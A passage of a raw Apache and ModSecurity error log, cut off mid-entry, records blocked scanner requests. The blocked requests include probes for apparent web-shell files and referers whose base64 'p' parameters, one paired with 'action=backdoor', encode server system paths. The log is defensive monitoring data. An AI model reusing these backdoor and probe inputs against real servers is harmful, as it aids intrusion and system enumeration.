AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:05.051346 2026] [access_compat:error] [pid 531797:tid 531965] [remote 57.141.14.94:44490] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:05.055220 2026] [security2:error] [pid 531797:tid 531930] [remote 17.241.75.92:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 92.75.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXcTA7b1mZrmcA-8hNgACFUI"] [Sat Jun 13 18:10:05.081552 2026] [security2:error] [pid 531797:tid 532077] [client 216.73.217.70:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 70.217.73.216.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.goldensnifferproducts.com"] [uri "/php52/ext/standard/tests/strings/sprintf_variation47.phpt"] [unique_id "ai3xXcTA7b1mZrmcA-8hOAAAAmM"] [Sat Jun 13 18:10:05.126697 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:05.126963 2026] [access_compat:error] [pid 531155:tid 531229] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0NC9tb3VzZTEvc3Vic3lzdGVtL2lucHV0Mi9ldmVudDIvZGV2aWNlL2RldmljZQ== [Sat Jun 13 18:10:05.166563 2026] [security2:error] [pid 531155:tid 531203] [remote 17.246.15.89:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 89.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXSmiP80klyS0Nnr1iAABRC8"] [Sat Jun 13 18:10:05.343306 2026] [security2:error] [pid 531155:tid 531305] [client 172.171.3.232:64655] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mcips.co.uk"] [uri "/error_log.php"] [unique_id "ai3xXSmiP80klyS0Nnr1jgAAAR4"] [Sat Jun 13 18:10:05.465912 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZQ== [Sat Jun 13 18:10:05.466281 2026] [access_compat:error] [pid 531797:tid 531958] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=Ly91c3IvaW5jbHVkZQ== [Sat Jun 13 18:10:05.507266 2026] [security2:error] [pid 531155:tid 531411] [client 191.233.234.186:60641] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.234.233.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "mail.alexandergreatmagic.com"] [uri "/x.php"] [unique_id "ai3xXSmiP80klyS0Nnr1kAAAAYg"] [Sat Jun 13 18:10:05.584778 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.95:48067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:05.585152 2026] [access_compat:error] [pid 531155:tid 531267] [remote 57.141.14.95:48067] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:05.597532 2026] [security2:error] [pid 531797:tid 531877] [remote 17.22.237.85:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 85.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXcTA7b1mZrmcA-8hTwACkg0"] [Sat Jun 13 18:10:05.607500 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:10:05.607891 2026] [access_compat:error] [pid 531155:tid 531222] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vZXZlbnQ2L3N1YnN5c3RlbS9ldmVudDMvcG93ZXI= [Sat Jun 13 18:10:05.648121 2026] [security2:error] [pid 531797:tid 532062] [client 191.234.188.123:63871] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webmail.onemontgomerygreen.org"] [uri "/wp-0fsdhv.php"] [unique_id "ai3xXcTA7b1mZrmcA-8hUQAAAlQ"] [Sat Jun 13 18:10:05.656936 2026] [security2:error] [pid 531797:tid 532023] [client 191.234.188.123:20331] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 123.188.234.191.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "webdisk.ameritekwater.com"] [uri "/2468.php"] [unique_id "ai3xXcTA7b1mZrmcA-8hUwAAAi8"] [Sat Jun 13 18:10:05.734252 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.37:58504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:05.734600 2026] [access_compat:error] [pid 531155:tid 531197] [remote 57.141.14.37:58504] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:05.850620 2026] [security2:error] [pid 531155:tid 531300] [client 20.151.217.54:65241] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "jugglepro.org"] [uri "/yoy123.php"] [unique_id "ai3xXSmiP80klyS0Nnr1nQAAARk"] [Sat Jun 13 18:10:05.925274 2026] [security2:error] [pid 531797:tid 531899] [remote 17.22.237.186:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 186.237.22.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXcTA7b1mZrmcA-8hWQACcSM"] [Sat Jun 13 18:10:06.043009 2026] [security2:error] [pid 531797:tid 532083] [client 20.151.217.54:24034] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 54.217.151.20.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpanel.appludi.com"] [uri "/momo.php"] [unique_id "ai3xXsTA7b1mZrmcA-8hWwAAAmk"] [Sat Jun 13 18:10:06.090121 2026] [security2:error] [pid 531797:tid 531874] [remote 17.241.219.72:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 72.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXsTA7b1mZrmcA-8hXgACFwo"] [Sat Jun 13 18:10:06.109502 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDY= [Sat Jun 13 18:10:06.109819 2026] [access_compat:error] [pid 531155:tid 531260] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9zdWJzeXN0ZW0vaW5wdXQ2L2RldmljZS9pbnB1dC9pbnB1dDY= [Sat Jun 13 18:10:06.166044 2026] [security2:error] [pid 531797:tid 531980] [remote 17.241.219.175:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 175.219.241.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXsTA7b1mZrmcA-8hYQACGXM"] [Sat Jun 13 18:10:06.221604 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:06.222055 2026] [access_compat:error] [pid 531797:tid 531928] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:06.451671 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.17:29512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:06.451967 2026] [access_compat:error] [pid 531797:tid 531964] [remote 57.141.14.17:29512] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:06.662554 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:10:06.662865 2026] [access_compat:error] [pid 531155:tid 531157] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21vdXNlMi9kZXZpY2UvZXZlbnQ1L2RldmljZS9zdWJzeXN0ZW0vbWljZQ== [Sat Jun 13 18:10:06.669383 2026] [security2:error] [pid 531155:tid 531200] [remote 17.246.15.168:0] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 168.15.246.17.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "torquayfans.com"] [uri "/viewtopic.php"] [unique_id "ai3xXimiP80klyS0Nnr1pwABeiw"] [Sat Jun 13 18:10:06.733402 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.95:40197] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:06.733733 2026] [access_compat:error] [pid 531797:tid 531885] [remote 57.141.14.95:40197] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:06.840060 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:06.840333 2026] [access_compat:error] [pid 531797:tid 531914] [remote 216.73.216.182:62278] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:06.874320 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:06.874593 2026] [access_compat:error] [pid 531797:tid 531869] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L3N5cy9tb2R1bGU= [Sat Jun 13 18:10:07.188049 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:10:07.188315 2026] [access_compat:error] [pid 531155:tid 531163] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL21pY2Uvc3Vic3lzdGVtL2V2ZW50My9kZXZpY2UvZGV2aWNlL3N1YnN5c3RlbQ== [Sat Jun 13 18:10:07.318628 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?action=backdoor&p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:10:07.318945 2026] [access_compat:error] [pid 531797:tid 531891] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?action=backdoor&p=L3N5cy9mcy9mdXNl [Sat Jun 13 18:10:07.341130 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.53:35606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:07.341612 2026] [access_compat:error] [pid 531155:tid 531261] [remote 57.141.14.53:35606] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:07.363322 2026] [security2:error] [pid 531797:tid 532081] [client 45.61.184.21:57615] ModSecurity: Access denied with code 406 (phase 1). Pattern match "python-requests|python-urllib" at REQUEST_HEADERS:User-Agent. [file "/opt/mod_security/hg_rules.conf"] [line "1460"] [id "909111"] [msg "Python UA brute"] [hostname "grupowebmex.com"] [uri "/"] [unique_id "ai3xX8TA7b1mZrmcA-8hhgAAAmc"] [Sat Jun 13 18:10:07.511532 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.86:51494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:07.511853 2026] [access_compat:error] [pid 531797:tid 531915] [remote 57.141.14.86:51494] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:07.568529 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.54:41419] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:07.568810 2026] [access_compat:error] [pid 531797:tid 531910] [remote 57.141.14.54:41419] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:07.591374 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.13:59257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4 [Sat Jun 13 18:10:07.591921 2026] [access_compat:error] [pid 531797:tid 531984] [remote 57.141.14.13:59257] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3 [Sat Jun 13 18:10:07.668183 2026] [security2:error] [pid 531797:tid 532058] [client 172.171.3.232:16032] ModSecurity: Access denied with code 409 (phase 1). RBL lookup of 232.3.171.172.vulnscan.websitewelcome.com succeeded at REMOTE_ADDR. [file "/opt/mod_security/hg_rules.conf"] [line "1566"] [id "900933"] [msg "Vulnerability Scan RBL: vulnscan.websitewelcome.com"] [hostname "cpcalendars.mlvt-dsc.info"] [uri "/Ov-Simple1.php"] [unique_id "ai3xX8TA7b1mZrmcA-8hlQAAAlA"] [Sat Jun 13 18:10:07.722101 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:10:07.722373 2026] [access_compat:error] [pid 531155:tid 531281] [remote 74.7.241.11:37794] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://homs.co.ke/?p=L3N5cy9kZXZpY2VzL3BsYXRmb3JtL2k4MDQyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2V2ZW50NC9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9ldmVudDIvc3Vic3lzdGVtL2V2ZW50MS9zdWJzeXN0ZW0vaW5wdXQ0L21vdXNlMS9zdWJzeXN0ZW0vaW5wdXQ0L2V2ZW50NC9zdWJzeXN0ZW0vbW91c2UyL3N1YnN5c3RlbS9tb3VzZTAvc3Vic3lzdGVtL2V2ZW50NC9kZXZpY2UvZGV2aWNlL2lucHV0L2lucHV0NS9tb3VzZTAvc3Vic3lzdGVtL2lucHV0Mi9kZXZpY2UvZmlybXdhcmVfbm9kZS9waHlzaWNhbF9ub2RlMS9kcml2ZXIvc2VyaW8wL2RyaXZlci9zZXJpbzAvZHJpdmVyL3NlcmlvMC9pbnB1dC9pbnB1dDIvc3Vic3lzdGVtL2lucHV0MS9zdWJzeXN0ZW0vZXZlbnQ1L3N1YnN5c3RlbS9pbnB1dDcvZXZlbnQ2L3Bvd2Vy [Sat Jun 13 18:10:07.843033 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php4, referer: https://www.homs.co.ke/?p=L2V0Yy9zeXNjb25maWc= [Sat Jun 13 18:10:07.843405 2026] [access_compat:error] [pid 531797:tid 531880] [remote 74.7.242.16:57868] AH01797: client denied by server configuration: /home3/homscoke/public_html/index.php3, referer: https://www.homs.co.ke/?p=L2V0Yy9zeXNjb25maWc= [Sat Jun 13 